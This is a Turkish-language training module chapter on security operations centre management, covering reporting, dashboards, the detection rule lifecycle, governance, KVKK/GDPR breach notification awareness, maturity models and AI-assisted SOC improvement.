SOC Perspektifi: Alert fatigue ve burnout birbirini besler. Gürültülü alarm ortamında analist dikkati körelir, motivasyon düşer ve gerçek tehditleri gözden kaçırma riski artar. Bu döngüyü kırmak yalnızca insan kaynağı sorunu değil; detection kalitesi, otomasyon, iş akışı ve yönetişim sorunudur.

8.2 SOC Raporlama Yapısını Kurma

8.2.1 Teknik Ekipler İçin SOC Raporu Hazırlama

Teknik ekiplere yönelik SOC raporları; analistlerin, detection mühendislerinin, IT ekibinin ve sistem yöneticilerinin ihtiyaç duyduğu operasyonel içeriği kapsar. Bu raporlarda alarm hacmi dağılımı, en çok alarm üreten kurallar, false positive oranına göre sıralı kural listesi, benign positive / expected activity dağılımı, yeni açılan detection boşlukları, iyileştirilmesi beklenen log kaynakları ve son dönemde kapanan önemli vakalar yer alır.

Teknik raporun işlevi yalnızca “ne oldu?” değil, “ne yapılmalı?” sorusuna yanıt vermektir. Detection tuning ihtiyacı, log connector sorunu veya yeni bir tehdit kategorisi için use case geliştirme talebi bu raporlar aracılığıyla somutlaştırılır ve önceliklendirilir. İyi yazılmış bir teknik SOC raporu, bir detection mühendisinin bir sonraki sprintini planlamasına doğrudan katkı sağlamalıdır.

8.2.2 Yönetim İçin Anlaşılır SOC Raporu Hazırlama

Yönetim raporları teknik detaydan değil, kurumsal risk anlatısından beslenir. Bir CISO veya üst yöneticinin “bu hafta SOC ne yaptı?” sorusunu okuyacağı raporda process_name veya event_id değil; kaç kritik olay yaşandı, hangi iş sistemleri etkilendi, mevcut tehdit profili ne yönde değişiyor, hangi yatırım boşluğu öne çıkıyor bilgileri olmalıdır.

Yönetim raporlarındaki yaygın hata, alarm sayısını güvenlik etkinliğinin tek göstergesi olarak sunmaktır. “Bu ay 14.000 alarm inceledik” ifadesi tek başına eksiktir. “Bu ay 14.000 alarmın 312’si gerçek güvenlik değeri içerdi, 5’i critical vakaya dönüştü, ortalama tespit süremiz 4,2 saate indi, en büyük risk alanı cloud identity oldu” ifadesi ise yönetim kararlarını besler.

Dil sade, cümleler kısa ve her bulgu iş etkisiyle ilişkilendirilmiş olmalıdır.

8.2.3 Haftalık SOC Raporu ile Operasyonu Takip Etme

Haftalık rapor, SOC’un operasyonel nabzını yansıtır. İçermesi gereken başlıklar şunlardır:

Başlık	Amaç
Toplam alarm hacmi	Haftalık hacim ve önceki haftayla karşılaştırma
Alarm kategorileri	Authentication, endpoint, network, cloud, SaaS, container dağılımı
En çok alarm üreten kurallar	Gürültülü veya kritik kuralları görmek
True positive / false positive / benign positive dağılımı	Kapanış kalitesini değerlendirmek
Kritik ve yüksek severity vakalar	Yönetimsel risk görünümü
SLA ihlali sayısı	Operasyonel gecikmeleri görmek
MTTD / MTTA / handoff süresi	Tespit ve sahiplenme hızını ölçmek
Data gap ve detection opportunity	Sürekli iyileştirme girdisi üretmek

Haftalık raporun operasyonel değeri hafta sonunda ortaya çıkar; ancak içerik hafta boyunca doğru kategorize edilmiş ve vaka notları düzenli yazılmış olmalıdır. “Rapor yazma vakti” geldiğinde verileri derlemeye çalışmak hem zaman kaybettirir hem de hatalı analiz üretir. İyi bir SOC, raporlama altyapısını günlük operasyona entegre şekilde tasarlar.

8.2.4 Aylık SOC Raporu ile Trend ve Olgunluk Değerlendirme

Aylık rapor, haftalık raporların basit toplamından fazlasıdır. Trend analizi, detection coverage değişimi, SLA performansının aylık ortalaması, backlog büyümesi veya küçülmesi, analist iş yükü değişimi, yeni geliştirilen detection içerikleri ve önemli lessons learned bulgularını kapsar.

En kritik kısım trend yorumudur. “Bu ay false positive rate %42’den %38’e indi” tek başına iyi bir haber midir? Bunun yanına “hangi kural tune edildi, bu düşüşü hangi veri sağladı, false negative riski arttı mı, benign positive sınıflandırması tutarlı mı?” sorularının cevapları eklenmezse rakam yanıltıcı olabilir.

Aylık rapor, SOC Lead’in hem geçen ayı değerlendirip hem de bir sonraki ayın önceliklerini belirlediği stratejik belgedir.

8.2.5 Dashboard Tasarım Mantığı ile Doğru Göstergeleri Seçme

Bir SOC dashboard’u neyi ölçtüğünü değil, neyi yönlendirdiğini sormalıdır. “Bugün kaç alarm var?” sorusu tek başına güvenlik etkinliğini göstermez; ancak trend, queue sağlığı, kural gürültüsü ve analist kapasitesiyle birlikte değerlendirildiğinde anlam kazanır.

Daha yönlendirici dashboard soruları şunlardır:

Queue’da 24 saatten uzun süredir bekleyen High alarm var mı?
Hangi kuralın false positive oranı bu hafta %70’i aştı?
Entra ID alarmları son 2 saatte alışılmadık yükseklikte mi?
Hangi analyst workload sürdürülebilir seviyenin üzerine çıktı?
Hangi log kaynağından son 6 saattir veri gelmiyor?
Coverage heatmap’te kritik taktiklerde kör nokta var mı?

Dashboard tasarımında yaygın sorun, mevcut tüm verileri göstermek için gereğinden fazla widget eklemektir. Aşırı bilgi, eksik bilgi kadar zararlıdır çünkü analistin dikkatini dağıtır.

Etkili bir SOC dashboard’u şu dört katmanı net biçimde göstermelidir:

Katman	Örnek Göstergeler
Operasyonel durum	Queue, SLA, aktif vakalar, yaşlanan alarmlar
Detection kalitesi	FP rate, benign positive oranı, rule performance
Coverage	MITRE heatmap özeti, log coverage, data gaps
Kapasite	Analyst workload, açık vaka başına süre, shift handover riskleri

8.2.6 Executive Dashboard ile SOC’un İş Değerini Gösterme

Üst yönetim için tasarlanan dashboard, teknik detayı değil kurumsal güvenlik sağlığını görselleştirir. Renk kodlaması, trend okları, kritik olay sayısı, ortalama tespit süresi, açık risk alanları ve yatırım ihtiyacı gibi özet göstergeler tercih edilir.

Bu dashboard’da analistlerin gün içinde baktığı granüler veri değil, yöneticinin bir bakışta “SOC iyi mi çalışıyor, risk artıyor mu, yatırım veya karar gerekiyor mu?” sorusuna yanıt bulabileceği özet bulunur.

Executive dashboard’un en önemli unsuru bağlamdır. “Bu ay 5 kritik olay” ifadesinin yanında “geçen ay 2 kritikti, artış nedeni yeni cloud ortamı alarmlarıdır, önümüzdeki ay tuning tamamlandığında bu sayının azalması bekleniyor” açıklaması olmadan rakam yanlış endişe ya da yanlış güven yaratabilir.

8.3 Detection İçerik Yaşam Döngüsünü Yönetme

8.3.1 Detection Inventory ile Tüm Kuralları Kayıt Altında Tutma

Detection inventory, kurumun sahip olduğu tüm detection kurallarının, use case’lerin, veri kaynağı bağımlılıklarının ve sahip bilgilerinin tutulduğu merkezi kayıttır. Bu kayıt bir spreadsheet, wiki sayfası, SIEM içi katalog veya detection-as-code platformu olabilir. Önemli olan her kuralın kim tarafından sahiplenildiğinin, hangi veri kaynağına bağlı olduğunun, hangi MITRE tekniğini hedeflediğinin, hangi log alanlarını kullandığının ve son güncelleme tarihinin görünür olmasıdır.

Inventory olmadan kurallar zamanla “zombi” hâle gelir: çalışıyor görünür ama alarm üretmez ya da sürekli false positive üretir. Sahipliği belirsiz bir kural, hiç kimsenin tuning yapmadığı, güncelleme planlamadığı veya emekliye ayırmayı düşünmediği bir kuraldır.

Detection yönetimini mühendislik disipliniyle ele almak bu sorunu çözer.

8.3.2 Rule Review Cadence ile Kuralları Düzenli Gözden Geçirme

Detection kuralları yazıldıktan sonra kendi kendine yaşamaz. Ortam değişir, saldırgan teknikleri evrilir, veri kaynağı formatları güncellenir, yeni otomasyon hesapları devreye girer ve eski kurallar gürültü üretmeye başlayabilir. Bu nedenle her kuralın belirli bir review döngüsüne bağlanması gerekir.

Öneri olarak:

Kural Kritiklik Seviyesi	Review Sıklığı
Yüksek kritiklik	Aylık
Orta kritiklik	Üç aylık
Düşük kritiklik	Altı aylık

Review sırasında sorulacak sorular şunlardır:

Bu kural son 30 günde kaç alarm üretti?
Bunların kaçı true positive, false positive, benign positive olarak kapandı?
Alarm üretmiyorsa neden?
Veri kaynağı hâlâ SIEM’e düzenli geliyor mu?
Kural mantığı hâlâ geçerli mi?
Kuralın MITRE eşlemesi hâlâ doğru mu?
Playbook veya triage guidance güncel mi?
Bu kural emekliye ayrılmalı mı, tune edilmeli mi, yoksa kapsamı mı genişletilmeli?

Bu soruların cevabı olmayan kurallar bilinçli bir kararla ya tuning edilmeli ya da kaldırılmalıdır.

8.3.3 Changelog ile Detection Değişikliklerini İzleme

Her detection kuralı değişikliği; ne zaman yapıldı, kim yaptı, neden yapıldı ve hangi davranışsal farkı yaratması bekleniyor — bu dört sorunun cevabını içeren bir changelog girişiyle kayıt altına alınmalıdır.

Changelog’un operasyonel değeri şu senaryolarda ortaya çıkar: bir kuralın aniden alarm üretmeyi bırakması veya patlayıcı biçimde artması durumunda geçmiş değişikliklere bakarak sorunun nereden geldiği hızla anlaşılabilir. Ayrıca denetim ve uyum süreçlerinde “bu kural neden değiştirildi?” sorusuna yazılı yanıt verebilmek SOC’un yönetişim olgunluğunu gösterir.

Changelog kaydı şu bilgileri içermelidir:

Alan	Açıklama
Değişiklik tarihi	Ne zaman değişti?
Değişikliği yapan kişi	Kim yaptı?
Değişiklik nedeni	Neden yapıldı?
Teknik değişiklik	Ne değişti?
Beklenen etki	Alarm hacmi / FP oranı / coverage nasıl etkilenecek?
Test sonucu	Üretime alınmadan önce test edildi mi?
Geri alma planı	Sorun çıkarsa eski sürüme nasıl dönülecek?

8.3.4 Versioning ile Detection İçeriklerini Sürümlendirme

Detection kurallarını Git veya benzeri bir versiyon kontrol sisteminde tutmak, her değişikliğin geçmişine ulaşabilmeyi ve gerektiğinde önceki sürüme geri dönebilmeyi sağlar. Detection-as-code yaklaşımı bu disiplinin somutlaşmış hâlidir: Sigma kuralları, KQL sorguları veya platform-native kural tanımları dosya olarak yönetilir, değişiklikler commit geçmişiyle izlenir.

Sigma kuralları, log verileri incelenirken şüpheli veya zararlı davranışı tespit etmek için gerekli bilgileri içeren YAML dosyalarıdır; bu yaklaşım detection içeriğinin taşınabilir ve okunabilir biçimde yönetilmesini sağlar.

Yeni kural versiyonu production’a alınmadan önce test ortamında, geçmiş veri üzerinde veya shadow / audit-only modda çalıştırılmalı; alarm hacmi, false positive potansiyeli, veri bağımlılığı ve performans etkisi değerlendirildikten sonra production’a alınmalıdır.

Dikkat: Detection değişikliklerinde klasik ürün A/B testi mantığı her zaman uygun değildir. SOC için daha güvenli yaklaşım test, staging, historical replay veya shadow mode ile doğrulama yapmaktır.

8.3.5 Content Quality ile Kural Kalitesini Değerlendirme

İyi bir detection kuralının şu özellikleri taşıması gerekir:

Açık bir amacı vardır ve bu amaç rule description’da yazılıdır.
Hangi log kaynağına ve hangi alanlara bağımlı olduğu belgelidir.
En az bir MITRE ATT&CK tekniğiyle eşlenmiştir.
Test edildiğine dair kayıt vardır.
False positive durumunda ne yapılacağı triaj notlarında belirtilmiştir.
Alarm ürettiğinde analistin ilk bakacağı alanlar açıklanmıştır.
Owner bilgisi ve review tarihi vardır.
Kuralın beklenen scope’u bellidir.
Kuralda hangi istisnaların neden tanımlandığı yazılıdır.

Bu kriterleri karşılamayan kurallar teknik olarak çalışıyor olsa bile operasyonel değerleri sınırlıdır. Analist alarm geldiğinde ne anlama geldiğini bilmiyorsa triaj kalitesi düşer. Content quality değerlendirmesi detection inventory’nin bir parçası olarak düzenli aralıklarla yapılmalıdır.

8.3.6 Purple Team Çıktılarından SOC İyileştirmesi Üretme

Purple team çalışmaları, red team saldırı simülasyonlarının blue team gözlemcilik ve iyileştirme süreciyle birleştirildiği çalışmalardır. Bu çalışmaların SOC için asıl değeri saldırıları görmek değil; mevcut detection coverage’ın gerçekte nerede yetersiz kaldığını ölçmektir.

Bir purple team çalışmasından çıkacak pratik SOC çıktıları şunlardır:

Hangi teknik uygulandığında SIEM’de hiç alarm üretmedi?
Hangi teknik alarm üretti ama analist tarafından yanlış yorumlandı?
Hangi log kaynağı eksik olduğu için tespit başarısız oldu?
Hangi playbook adımı belirsiz kaldı?
Hangi detection rule fazla gürültü üretti?
Hangi telemetry kaynağı geç geldi veya eksik normalize edildi?

Bu bulgular doğrudan detection backlog’a, log kaynaklarının genişletilmesi talebine ve playbook güncellemesine dönüştürülmelidir. Purple team çalışması raporlanıp dosyalanmak için değil, somut iyileştirme üretmek için yapılır.

8.3.7 Lessons Learned ile Detection Improvement Bağlantısı Kurma

Önceki modülde ayrıntılı işlenen olay sonrası öğrenme sürecinin bu modüldeki karşılığı şudur: lessons learned bulguları kalıcı detection ve süreç iyileştirmesine nasıl aktarılır?

Bir olay kapandıktan sonra “neden bu davranışı detection kuralımız yakalamadı?” sorusunun cevabı yalnızca vakanın kaydına değil, detection inventory’ye ve rule review takvimine de düşmelidir. “Bu olay için gerçek zamanlı uyarı olmadı” tespiti, bir sonraki hafta yeni bir detection kuralı veya tuning talebinin açılmasını tetiklemelidir.

Lessons learned’i detection iyileştirmesine bağlayan bu döngü olmadan SOC aynı hatayı tekrar eder.

8.4 SOC Yönetişimi ve Operasyonel Standartlar

8.4.1 SOC Politika ve Prosedürlerini Oluşturma

SOC politikası; alarm yönetimi, escalation kriterleri, vaka kapatma standartları, log retention beklentileri, erişim yetkisi ve containment yetki sınırları gibi konulardaki kurumsal kararları tanımlar. Prosedürler ise bu kararların operasyonel adımlara nasıl çevrileceğini gösterir.

Politika ve prosedürler olmadan SOC analistleri benzer senaryolarda farklı kararlar alır, aynı türdeki olaylar farklı kapanış kodlarıyla kapatılır ve audit sırasında “neden bu alarm bu şekilde işlendi?” sorusu cevaplanamaz. Belgelenmiş prosedürler aynı zamanda yeni analistlerin adaptasyonunu hızlandırır ve vardiya geçişlerinde bilgi kaybını önler.

Güvenli Alışkanlık: Politikaların uzun dokümanlar yerine kısa ve uygulanabilir decision tree formatında yazılması, analistlerin bunları gerçekten okumasını ve kullanmasını sağlar. 40 sayfalık prosedür rehberi vardiyanın ortasında başvurulamaz; tek sayfalık eskalasyon akış şeması başvurulabilir.

8.4.2 Rol ve Sorumluluk Matrisini Netleştirme

SOC içindeki ve SOC ile diğer ekipler arasındaki sorumluluk ayrımı yazılı hâle getirilmemişse çakışmalar, boşluklar ve çatışmalar kaçınılmaz olur. L1 analist hangi kararı kendi başına verebilir, hangi durumda L2’ye geçer? L2 ne zaman IR ekibini devreye alır? IR ekibi containment önerisi geldiğinde kendi inisiyatifiyle mi hareket eder, yoksa onay süreci mi bekler?

Bu sorular yanıtsız kaldığında ciddi olaylarda zaman kaybedilir. RACI (Responsible, Accountable, Consulted, Informed) matrisi bu ayrımı görselleştirmek için kullanışlı bir araçtır. Özellikle SOC, IR, IT, hukuk, veri koruma, insan kaynakları ve üst yönetim arasındaki sorumluluk sınırları kritik olay senaryoları için önceden belgelenmelidir.

8.4.3 SLA ve Operasyonel Beklentileri Tanımlama

SLA, SOC’un belirli operasyonel hedeflere ne kadar sürede ulaşması gerektiğini tanımlar. Tipik SOC SLA kriterleri şunlardır:

Alan	Örnek SLA
Critical alarm MTTA	15 dakika
High alarm MTTA	30 dakika
L2 escalation	60 dakika
IR handoff hazırlığı	2 saat
Yönetim bildirimi	Kritik olay doğrulandıktan sonra belirlenen süre

SLA’ların gerçekçi olması için hem tehdidin ciddiyeti hem de SOC’un mevcut kapasitesi göz önünde bulundurulmalıdır. Ulaşılamaz SLA’lar analistleri daha hızlı kapama baskısına iter ve triaj kalitesini düşürür.

SLA ihlalleri düzenli olarak raporlanmalı ve ihlal nedeni ayrıştırılmalıdır: kapasite mi, alarm hacmi mi, süreç problemi mi, log gecikmesi mi, vardiya devri mi, kural gürültüsü mü?

8.4.4 Vardiya ve Devir Teslim Sürecini Yönetme

Vardiya geçişleri SOC’un bilgi sürekliliği açısından en kırılgan noktalarından biridir. Biten vardiyadan başlayan vardiyaya aktarılmayan bir kritik vaka, araştırmanın başa dönmesine veya önemli bir sinyalin kaçırılmasına neden olabilir.

İyi bir shift handover şunları kapsar:

Açık vakalar ve güncel durumları.
Triajı tamamlanmamış yüksek öncelikli alarmlar.
Gün içinde kuyrukta öne çıkan örüntüler.
Önümüzdeki vardiyada dikkat edilmesi gereken bilinen olaylar.
Planlı maintenance veya beklenen yüksek trafikli dönemler.
Tamamlanan kritik analizlerin özeti.
Hangi belirsizliklerin açık kaldığı.

Bu aktarım yalnızca sözlü değil, case management platformuna kayıt olarak da düşürülmelidir.

8.4.5 Minimum Yetki Prensibiyle Erişim Yönetimi Yapma

SOC analistlerinin SIEM, EDR, SOAR ve case management araçlarına ihtiyaç duydukları kadar erişimi olmalıdır; fazlası değil. Bu prensip hem iç tehdit riskini azaltır hem de hatalı bir response aksiyonunun kapsamını sınırlar.

Pratikte bu şu anlama gelir:

Rol	Örnek Yetki
L1 Analist	Okuma, alarm triajı, vaka notu, sınırlı kapanış
L2 Analist	Geniş sorgulama, vaka genişletme, eskalasyon
L3 / Lead	Kural değerlendirme, advanced hunting, kritik karar
SOAR Admin	Playbook yönetimi, otomasyon yetkisi
IR / Yetkili Rol	Host isolation, account disable, token revoke gibi aksiyonlar

SOAR üzerinde host isolation veya account disable gibi response aksiyonları yalnızca belirli rollerin onaylayabileceği adımlar olarak yapılandırılmalıdır. Araç erişimleri düzenli olarak gözden geçirilmeli; özellikle görev değişikliklerinde veya ayrılmalarda gereksiz yetkiler kaldırılmalıdır.

8.4.6 Audit Trail ile SOC Aksiyonlarını Kayıt Altında Tutma

SOC araçlarında gerçekleştirilen her önemli eylem kaydedilmeli ve geri izlenebilir olmalıdır: hangi analist hangi vakayı kapattı, hangi sorguyu çalıştırdı, hangi host isolation komutunu verdi, hangi alarmı yanlış pozitif olarak işaretledi, hangi playbook’u manuel tetikledi?

Bu kayıtlar hem iç denetim hem de olası adli soruşturma için gereklidir. Audit trail’in bir diğer değeri kalite kontrol açısındandır. SOC Lead, analistlerin triaj kararlarını periyodik olarak incelediğinde örüntüler fark edebilir: belirli bir analist sürekli aynı türdeki alarmları false positive kapatıyorsa eğitim ihtiyacı veya kuralın tuning edilmesi gerektiği sinyali alınmış olur.

Kayıtsız bir SOC, kendisini iyileştiremez.

8.5 Uyum, Regülasyon ve Kişisel Veri Farkındalığı

8.5.1 Güvenlik Olayı ve Veri İhlali Ayrımını Anlama

Her güvenlik olayı veri ihlali değildir; ancak bazı güvenlik olayları veri ihlali niteliği taşır ve bu durumda regülasyonların öngördüğü bildirim yükümlülükleri devreye girer. SOC’un bu ayrımı doğru yapması kritiktir çünkü bir olayın “sadece bir alarm” mı yoksa “regülasyon kapsamında değerlendirilmesi gereken bir veri ihlali ihtimali” mi olduğunu ilk fark eden ekip çoğu zaman SOC’tur.

Bir kullanıcı hesabının ele geçirilmesi güvenlik olayıdır. Ancak bu hesap kişisel verilere erişim yetkisine sahipse ve yetkisiz erişim gerçekleşmişse olay aynı zamanda veri ihlali niteliği taşıyabilir. Bu ayrımı yapabilmek için SOC analistinin hangi sistemlerin kişisel veri işlediğini, hangilerinin kritik varlık sınıfında olduğunu ve hangi koşullarda hukuk ekibine, DPO/veri koruma sorumlusuna veya üst yönetime bildirim yapılacağını bilmesi gerekir.

SOC’un rolü hukuki karar vermek değildir; doğru soruyu doğru anda sormak ve ilgili ekibi zamanında tetiklemektir.

8.5.2 KVKK Farkındalığı ile Türkiye Bağlamında Log Verisini Değerlendirme

6698 sayılı Kişisel Verilerin Korunması Kanunu (KVKK), kişisel veri işleme, saklama, erişim ve ihlal bildirimini düzenler. SOC analistinin bu kanun kapsamında bilmesi gereken pratik noktalar şunlardır: SOC’un işlediği loglar kullanıcı adı, IP adresi, e-posta, cihaz bilgisi, lokasyon ve davranış logu gibi kişisel veri içerebilir; bu verilere erişim yetkisi sınırlı tutulmalıdır; kişisel veriye yetkisiz erişim tespit edildiğinde Kişisel Verileri Koruma Kurumu’na bildirim yapılması gerekip gerekmediği kurumun hukuk/veri koruma ekibiyle değerlendirilmelidir.

KVKK Kurulu’nun 2019/10 sayılı kararı uyarınca veri ihlali bildirimi “en kısa sürede” yapılmalı; Kurul bu ifadeyi veri sorumlusunun ihlali öğrendiği tarihten itibaren gecikmeksizin ve en geç 72 saat içinde bildirim yapılması şeklinde yorumlamıştır. 72 saat içinde bildirim yapılamazsa gecikmenin nedeni de açıklanmalıdır.

SOC analistinin buradaki rolü KVKK uzmanı olmak değildir. Olay sırasında “bu sistem kişisel veri işliyor mu, erişim yetkisiz miydi, hukuk/veri koruma ekibine haber verilmeli mi?” sorularını zamanında sormaktır. Bu soruların gecikmesi, regülasyon yaptırım riskini artırabilir.

8.5.3 GDPR Farkındalığı ile Avrupa Bağlamında Veri Sorumluluğunu Anlama

Avrupa Birliği vatandaşlarına ait kişisel verileri işleyen veya Avrupa’da faaliyet gösteren kurumlar için GDPR (General Data Protection Regulation) geçerli olabilir. SOC açısından GDPR’ın en kritik gerekliliklerinden biri, kişisel veri ihlali durumunda veri sorumlusunun ihlalden haberdar olduktan sonra gecikmeksizin ve mümkünse en geç 72 saat içinde yetkili denetim otoritesine bildirim yapmasıdır. Bu bildirim, ihlalin gerçek kişilerin hak ve özgürlükleri açısından risk oluşturmasının muhtemel olmadığı durumlar dışında gündeme gelir.

GDPR Article 34’e göre ihlal gerçek kişilerin hak ve özgürlükleri açısından yüksek risk doğuruyorsa, etkilenen kişilere de gecikmeksizin bildirim yapılması gerekebilir.

SOC’un yönetmesi gereken şey, hukuki bildirimi yapmak değil; olayın veri ihlali niteliği taşıyıp taşımadığını mümkün olan en kısa sürede değerlendirmek için hukuk, veri koruma ve yönetim ekiplerine doğru ve zamanında teknik bilgi aktarmaktır.

8.5.4 USOM/SOME Farkındalığı ile Ulusal Siber Güvenlik Yapısını Tanıma

Türkiye’de USOM ulusal düzeyde koordinasyon rolüne sahipken, Sektörel SOME ve Kurumsal SOME yapıları sektör ve kurum seviyesinde siber olay müdahalesi için tanımlanmıştır. Siber Olaylara Müdahale Ekiplerinin Kuruluş, Görev ve Çalışmalarına Dair Tebliğ; Kurumsal SOME, Sektörel SOME ve USOM ilişkilerini, görev ve yükümlülüklerini tanımlar. Tebliğde Kurumsal SOME’lerin bakanlıklar bünyesinde kurulacağı, diğer kamu kurum ve kuruluşlarının da kurumsal SOME kurabileceği; kritik sektörlerde Sektörel SOME kurulumunun zorunlu olduğu belirtilir.

SOC’un USOM/SOME yapısıyla ilişkisi şu noktada somutlaşır: ulusal düzeyde önem taşıyan siber olayların USOM/SOME kanalıyla bildirilmesi gerekebilir. Bu kararı SOC tek başına değil, hukuk, yönetim ve kurumun SOME sorumlusu ile birlikte değerlendirir.

SOC analistinin bilmesi gereken şey bu yapının varlığı, kendi kurumundaki SOME sorumlusunun kim olduğu ve eskalasyon gerektiğinde hangi kanalın kullanılacağıdır.

8.5.5 Loglarda Kişisel Veri Bulunabileceğini Anlama

SOC’un analiz ettiği loglar çoğunlukla kişisel veri içerir: kullanıcı adı, UPN, e-posta adresi, IP adresi, cihaz kimliği, coğrafi konum, user-agent ve davranış örüntüsü bunların başında gelir. IP, UPN, cihaz kimliği, lokasyon ve davranış logları tek başına ya da başka verilerle birleştiğinde kişiyi tanımlamaya elverişli olabilir. Bu nedenle SOC, log verisini kişisel veri içerebilecek veri olarak ele almalıdır.

Bu bilinçle SOC analistinin yapması gerekenler şunlardır:

Gereksiz log sorguları yapmamak.
Sorgu çıktılarını gereksiz kanallarda paylaşmamak.
Log erişimi olan kişilerin yetkili ve kayıtlı kişilerle sınırlı kalmasını sağlamak.
Hassas logları case notlarına kopyalarken maskeleme politikasını uygulamak.
Kullanıcı davranış verisini yalnızca investigation amacıyla ve ihtiyaçla orantılı şekilde kullanmak.

“Investigation için her şeye bakma hakkım var” yaklaşımı regülasyon çerçevesinde doğru değildir; erişim ihtiyaçla orantılı olmalıdır.

8.5.6 Erişim Kontrolü ile Log Verisine Yetkili Erişim Sağlama

SIEM platformlarında log verisi çoğu zaman ayrım yapılmadan tüm analistlere açık olur; ancak bu yaklaşım hem iç risk hem de regülasyon açısından sorunludur. Log verisine erişim, analistin görev tanımı ve araştırma ihtiyacıyla orantılı olmalıdır.

Pratikte bu şu şekilde uygulanabilir:

Log Kaynağı	Erişim Yaklaşımı
Genel security logs	L1/L2 analistlere görev kapsamına göre erişim
HR / finans / yönetici iletişimi	Sınırlı ve onaylı erişim
Hassas kişisel veri içeren loglar	RBAC + audit trail + gerekirse maskeleme
Raw packet / payload içeriği	Yetkili uzman ve gerekçeli erişim
SOAR aksiyon logları	Lead / IR / denetim erişimi

Bu yetkilendirme SIEM üzerinde RBAC ile sağlanmalı ve her erişim girişimi audit log’a düşmelidir. Erişim hakları düzenli olarak gözden geçirilmeli ve gereksiz yetkilendirmeler kaldırılmalıdır.

8.6 SOC Sürekli İyileştirme Modeli Oluşturma

8.6.1 Monitor → Detect → Analyze → Escalate → Improve Döngüsünü İşletme

Bu döngü SOC’un yalnızca alarm kapatan değil, her operasyon döngüsünden öğrenen ve kendini geliştiren bir yapı olarak çalışmasını sağlar. Kritik olan son adım olan Improve’dur: her kapanan olay, her incelenen alarm ve her tuning kararı bir sonraki döngüyü daha kaliteli hâle getirmelidir.

Döngünün işlemesi için iyileştirme girdilerinin sistematik biçimde toplanması, önceliklendirilmesi ve takip edilmesi gerekir. Bu girdiler şu kaynaklardan gelir:

Kapanan vakalardan çıkan lessons learned.
Yanlış pozitif analizi.
Purple team çıktıları.
Tehdit istihbaratından gelen yeni TTP’ler.
Analistlerin günlük operasyon gözlemleri.
Kural performans raporları.
Log source health çıktıları.
SLA ihlal analizleri.

Bu girdi havuzu detection backlog veya improvement backlog olarak yönetilmeli ve her sprint veya aylık döngüde önceden incelenmelidir.

8.6.2 Gap Analysis ile Eksik Alanları Belirleme

Gap analysis, SOC’un şu anki durumu ile hedeflenen durumu arasındaki farkları belirleyen yapılandırılmış bir değerlendirmedir. Değerlendirme alanları şunlardır:

Alan	Sorulacak Soru
Log coverage	Hangi sistemlerden log gelmiyor?
Detection coverage	Hangi ATT&CK teknikleri için alarm yok?
Süreç boşlukları	Hangi senaryolar için playbook yok?
İnsan kaynağı boşlukları	Hangi uzmanlık alanlarında yetersizlik var?
Araç boşlukları	Hangi SOC katmanında görünürlük eksik?
Raporlama boşlukları	Yönetim hangi soruların cevabını alamıyor?
Otomasyon boşlukları	Hangi tekrar eden görevler hâlâ manuel yürütülüyor?
Yönetişim boşlukları	RACI, SLA, audit trail ve erişim kontrolleri yeterli mi?

Gap analysis yalnızca bir kez yapılan değil, dönemsel olarak tekrarlanan bir değerlendirmedir. Ortam değişir, saldırgan teknikleri gelişir ve kurumun risk profili evrilir; bu nedenle 6 ila 12 ay aralıklarla yapılan gap analysis SOC roadmap’ini güncel tutar.

8.6.3 SOC Maturity Değerlendirmesi ile Olgunluk Seviyesini Ölçme

SOC olgunluğu eğitim ve roadmap planlaması için basitleştirilmiş bir çerçeveyle dört seviyede değerlendirilebilir. Bu model evrensel ve resmî bir standart değildir; kurumlar NIST CSF, ISO 27001/27002, MITRE ATT&CK coverage, CMMI benzeri yaklaşımlar veya kendi iç maturity modelleriyle bu çerçeveyi zenginleştirebilir. NIST CSF 2.0, siber güvenlik risk yönetimini Govern, Identify, Protect, Detect, Respond ve Recover fonksiyonlarıyla organize eder; bu da SOC yönetişimi ve sürekli iyileştirme için yararlı bir üst çerçevedir.

Seviye	Açıklama
Reactive SOC	Alarmları işler, bilinen tehditlere imza/kural tabanlı yanıt verir, log ve araç altyapısı temel düzeydedir. Proaktif kapasitesi sınırlıdır.
Proactive SOC	Detection engineering ve threat hunting kapasitesi mevcuttur, false positive yönetimi yapılır, detection coverage ölçülür, temel metrikler raporlanır.
Intelligence-Driven SOC	Threat Intelligence SOC operasyonuna entegre edilmiştir, hunting hipotezleri CTI girdisiyle şekillenir, detection kararları tehdit profiline göre önceliklendirilir.
AI-Assisted SOC	Otomasyon olgunlaşmıştır, AI destekli araçlar analist verimliliğini artırır, anomali önceliklendirmesi ve vaka özetleme gibi görevlerde makine öğrenmesinden yararlanılır; ancak insan kararı merkezde kalır.

Olgunluk değerlendirmesi “seviye 3’e ulaşmak” gibi bir bitiş noktasına değil, sürekli ilerlemeye odaklanmalıdır. Mevcut seviye belirlendikten sonra bir sonraki seviyeye geçmek için neyin gerektiği netleştirilir ve bu gereklilikler roadmap’e yazılır.

8.6.4 SOC Roadmap ile Gelişim Planı Oluşturma

SOC roadmap, gap analysis ve maturity değerlendirmesinin çıktısını somut projelere ve zaman dilimine dönüştürür. Üç katmanda planlanması önerilir:

Zaman Dilimi	Örnek Çalışmalar
Kısa vadeli (0-3 ay)	Acil tuning ihtiyaçları, kritik log boşluklarını kapatma, yüksek gürültülü kuralları iyileştirme, mevcut playbook boşluklarını giderme.
Orta vadeli (3-12 ay)	Yeni detection use case aileleri geliştirme, otomasyon olgunlaştırma, threat hunting programı başlatma, dashboard ve raporlama altyapısını güçlendirme, eğitim ve yetkinlik geliştirme.
Uzun vadeli (12+ ay)	Detection-as-code geçişi, intelligence-driven hunting programı, AI destekli araç entegrasyonları, maturity seviyesi artırma.

Roadmap yılda en az iki kez gözden geçirilmeli ve gerçekleşen iyileştirmeler ile değişen öncelikler yansıtılmalıdır. Statik bir roadmap operasyonel değer üretmez.

8.6.5 AI Destekli İyileştirme Alanlarını Değerlendirme

AI tabanlı araçlar SOC operasyonunda birkaç somut alanda değer üretebilir:

Alan	Katkı
Alarm özetleme	Yüksek bağlam içeren alarmları okunabilir özete dönüştürür.
Vaka notu üretimi	Toplanan kanıt ve timeline’dan vaka özeti oluşturur.
Sorgu önerisi	Analistin soruşturma adımlarına göre SIEM sorguları önerir.
Anomali önceliklendirme	UEBA ve risk skorlamasıyla düşük seviye sinyalleri birleştirir.
Alert grouping	Benzer alarmları gruplar, tekrar eden pattern’leri gösterir.
Detection gap önerisi	Mevcut coverage ve olaylardan kural fikri çıkarabilir.

